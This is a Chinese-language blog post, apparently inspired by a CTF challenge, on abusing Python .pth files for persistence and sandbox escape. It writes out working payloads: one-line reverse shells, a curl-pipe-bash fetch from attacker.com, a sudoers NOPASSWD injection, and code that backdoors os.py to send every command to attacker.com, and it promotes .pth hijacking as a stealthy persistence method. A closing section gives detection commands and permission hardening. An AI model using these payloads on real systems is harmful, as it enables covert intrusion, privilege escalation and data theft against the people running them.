Python .pth 劫持
Python .pth 劫持
今年在应该是polarisctf上一道题目就是一个Python .pth劫持
一个文件,三行代码
.pth 是什么?
如果你写过 Python,你大概率从来没注意过 site-packages 目录里的那些 .pth 文件。
它们是这样的
/usr/lib/python3/dist-packages/easy_install.pth
/usr/lib/python3/dist-packages/setuptools.pth
这些文件被 Python 在启动时自动读取,作用是把额外的路径添加到 sys.path 里。简单说就是告诉 Python「去这些目录里找模块」。
很多人在读 Python 源码的时候,可能偶然扫到过 site.py 里这段逻辑,但从来没人深究过它的具体用途。
直到有一天,有人发现了一个藏在官方文档角落里的细节。
.pth 文件里有一类特殊的行,以 import 开头的行。
这些行,会被直接执行。
# 一个普通的 .pth 文件
/home/user/my-packages
/opt/shared-libs
# 一个不普通的 .pth 文件 —— 这个会被执行
import os
是的你没有看错。
你只需在一个 .pth 文件里写一句 import os,然后把这个文件扔进 Python 的 site-packages 目录,每一次 Python 解释器启动的时候,都会自动把这一行当作代码来执行。
那如果把 import os 换成 import socket,subprocess;... 呢?
你猜对了。
import socket,subprocess,os;s=socket.socket();s.connect(('your-server',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])
一行反弹 Shell。每次有人启动 Python,Shell 就弹回来了。
一个文件,三行代码。不需要修改任何现有的 Python 代码,不需要替换任何系统文件,不需要任何特殊权限(除了 site-packages 的写入权限)。
纯纯的文本文件就能拿下权限维持。
为什么它能工作
要理解 .pth 劫持为什么能存在,你得先理解 Python 的启动流程。
当你敲下 python3 的时候,Python 解释器在加载你的代码之前,会先做一个「预飞」操作。这个操作由标准库里的 site.py 负责。
site.py 做的事情大概有这么几步。
初始化路径配置 → 读取 site-packages → 处理 .pth 文件 → 加载 sitecustomize.py → 交给你
在「处理 .pth 文件」这一步,Python 会遍历 site-packages 里的所有 .pth 文件,逐行读取。每一行如果是一个存在的路径,就加到 sys.path 里。
这是一个很正常的「路径配置」功能。
但 Python 的设计者额外加了一个小彩蛋,如果这一行以 import 开头,那就当成代码来执行。
这个彩蛋的原始目的很简单。有些包需要在加载前执行一些初始化工作,.pth 文件提供了一个轻量级的钩子。
但问题是,这个功能太隐蔽了。隐蔽到大多数开发者根本不知道它的存在,隐蔽到大多数安全工具也根本不会去检查它。
一个不知道存在的功能,就是最安全的攻击面。
因为没人会防它。
在 CPython 的源码里,site.py 处理 .pth 文件的核心逻辑大概长这样(我对代码做过一些精简,保留关键部分)
def addpackage(sitedir, name, known_paths):
"""处理 .pth 文件"""
fullname = os.path.join(sitedir, name)
try:
f = open(fullname, "r")
except OSError:
return
with f:
for n, line in enumerate(f):
# 跳过空行和注释
if line.startswith("#"):
continue
if line.strip() == "":
continue
# 关键就在这里:如果以 import 开头,就执行
if line.startswith("import"):
exec(line)
else:
# 否则当成路径加入 sys.path
# ...
注意那个 exec(line)。
Python 的设计者用了一个 exec 来执行文件里的内容。把文件里 import 开头的那一行,直接喂给了 Python 的 exec 函数。
结果是什么呢,结果是你不仅限于 import 语句。你可以在一行 import 的末尾加分号然后接任何代码。
import os; os.system('curl http://attacker.com/shell.sh | bash')
这里有个需要注意的地方,只有 import 开头的那一行才会被执行。但 import 之后可以跟 ; 再接任意代码,这个限制基本上等于没有。
Python 的 exec 是完整的 Python 执行环境。只要以 import 开头,后面的所有东西都是你的游乐场。
权限维持的黄金手段
.pth 劫持在权限维持这个场景下,说实话比大多数传统手段都好用。
来做个对比。
Cronjob 维持。 需要写 crontab,容易被发现,crontab -l 一查就露馅。而且很多容器环境根本没有 cron 守护进程。
SSH 公钥注入。 只能用于 SSH 登录,只能拿到交互式 Shell。Python 服务可不会用 SSH。
SUID 后门。 文件权限改了就能被 find / -perm -4000 扫出来。
Web Shell。 需要 Web 服务开着,容易被 WAF 和文件完整性检测抓到。
那 .pth 劫持呢?
它藏在 site-packages 的茫茫文件海里。几百个 .py 文件和 .so 文件中间,混入一个不起眼的 .pth 文件。除非有人刻意去翻 site-packages 目录,否则根本不会注意到。
它的触发条件是「运行 Python」。在真实服务器上,Python 脚本在后台运行的频率,比你想象的高得多。系统监控脚本、备份工具、包管理器、Docker 容器启动脚本——到处都是 Python。
而且它是用户态的攻击。不需要内核模块,不需要修改系统关键路径,不需要重启服务。写好 .pth 文件之后,下一次有人调用 Python,恶意代码就自动执行了。
更骚的是,它不止一种玩法。
花样玩法
玩法一:反弹 Shell
这是最直接的路子。.pth 文件一行反弹 Shell,每次 import 都弹。
import socket,subprocess,os;s=socket.socket();s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2));subprocess.call(['/bin/bash','-i'])
但这个玩法有一个问题,反弹 Shell 太显眼了。如果目标机器上没有人在跑 Python,你弹了个寂寞。如果目标机器上 Python 脚本跑得特别频繁,你一晚上能被弹几百次 Shell。
所以实战中用的更多是第二种玩法。
玩法二:无感后门
不是在启动时反弹 Shell,而是在用户不知情的情况下植入一个全端口监听的 bind shell,或者修改一个关键文件。
import os; os.system('echo "hacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers')
或者更隐蔽一点,修改 Python 本身的某个标准库文件,在 os.system 或者 subprocess.call 里植入木马逻辑。
import shutil, os
# 备份原始文件
shutil.copy2('/usr/lib/python3/os.py', '/usr/lib/python3/os.py.bak')
# 在 os.system 中植入后门
with open('/usr/lib/python3/os.py', 'a') as f:
f.write('\ndef system_impl(cmd):\n import subprocess\n subprocess.Popen(["curl", "-s", "http://attacker.com/beacon?cmd="+cmd])\n return _system(cmd)\n')
这个就比较毒了。每次有人调用 os.system(),恶意代码都会偷偷跑一遍。而开发者完全不会察觉到任何异常——命令正常执行了,返回值和原来一模一样。
玩法三:直接 import 恶意模块
你甚至不需要在 .pth 里写多复杂的代码。你可以在同一个目录里放一个恶意模块,然后让 .pth 去加载它。
创建一个 hook.py:
import os
def init():
if os.geteuid() == 0:
os.system('echo "FLAG_HERE" > /tmp/pwned')
然后 .pth 文件里只需要一句话:
import hook
hook 模块的名字不显眼,混在 site-packages 里完全不起眼。
Python jail 逃逸中的 .pth
.pth 劫持在 CTF 里最常出现的场景,其实是 Python 沙箱逃逸题。
这类题目的结构一般都是这样,你有一个受限的 Python 执行环境,你不能直接调用 os.system、不能访问 __builtins__、不能 import 危险的模块。
当时那个polarisctf里就是这样
很多人在这种题里疯狂折腾沙箱逃逸的 Payload。().__class__.__mro__[2].__subclasses__(),找 warnings.catch_warnings,找 _ModuleLock,玩命翻 __builtins__。
但有一种出题人不太会想到的场景——如果这个 Python 环境能写文件呢?
很多 jail 题会让你输入多行代码,然后执行。如果你能通过某种方式(比如 open() 写文件),把一个 .pth 文件写到 site-packages 目录里,那你就拿到了一个「外挂」——不受沙箱限制的代码执行路径。
因为沙箱拦截的是你当前执行环境的 import。但 .pth 文件是在沙箱启动之前就已经被 site.py 加载并执行了。
换个角度来看,.pth 劫持绕过了沙箱本身。它不是从沙箱里面突破的,是从沙箱外面接了一根管子进来。
当然,这个场景有一个前提——你得知道 site-packages 的路径,并且有写入权限。
但这个前提在很多 CTF 题目里正好成立。Python jail 题的 Docker 容器经常以低权限跑服务,偏偏 site-packages 目录在容器里经常是可写的(尤其是 pip install 过的环境)。
这也是为什么我在刷题的时候,如果遇到能写文件的 Python jail,第一件事就是试 .pth。
# 第一步:确定 site-packages 路径
# 可以通过 __file__ 来定位
print(__import__('sys').path)
# 第二步:写入恶意 .pth 文件
# 如果找到了可写的 site-packages 路径
with open('/usr/lib/python3/dist-packages/exploit.pth', 'w') as f:
f.write('import os; os.system("cat /flag > /tmp/flag.txt")\n')
# 第三步:触发重启或重新加载
# 大多数情况下你退出当前环境再重连一次就行了
挺骚的。但确实好用。
持久化与清除
聊了怎么攻击,也得聊聊怎么防御和清除。
如果你怀疑自己的环境被植入了 .pth 后门,排查方式其实很简单。
# 找到所有 .pth 文件
find / -name "*.pth" -type f 2>/dev/null
# 检查每个 .pth 文件的内容,看看有没有 import 开头的行
for f in $(find / -name "*.pth" -type f 2>/dev/null); do
if grep -q "^import" "$f" 2>/dev/null; then
echo "[!] Suspicious .pth: $f"
cat "$f"
fi
done
就这两条命令,基本上能扫出所有的 .pth 劫持。
但这里有一个问题,.pth 文件如果被藏得很深,或者被改成了正常包名(比如 setuptools.pth 的变体 setuptools-extra.pth),手动排查是有难度的。
因为 .pth 文件是 Python 标准机制,安全软件一般不会把它标记为恶意。如果你在 site-packages 里看到一堆 .pth 文件,你根本分不清哪个是正常的、哪个是恶意的。
这恰恰是 .pth 劫持最可怕的地方,它用的不是漏洞,用的是正常功能。
所以更根本的防御手段不是扫描 .pth 文件,而是控制 site-packages 目录的写入权限。
# site-packages 目录应该只有 root 能写
chmod -R 755 /usr/lib/python3/dist-packages/
chown -R root:root /usr/lib/python3/dist-packages/
很多 CTF 环境和生产环境出问题,根本原因就是 site-packages 权限放得太松了。
还有一个容易被忽视的点——pip 安装的包有时候也会带入恶意的 .pth 文件。有些恶意包在 setup.py 里偷偷生成一个 .pth 文件作为持久化手段,装完包之后即使卸载了包,.pth 文件还留在目录里。
所以安装 pip 包的时候,--no-usersite 和隔离环境(virtualenv、docker)是推荐的实践。虽然不是 100% 安全,但至少能减少攻击面。
更多推荐

所有评论(0)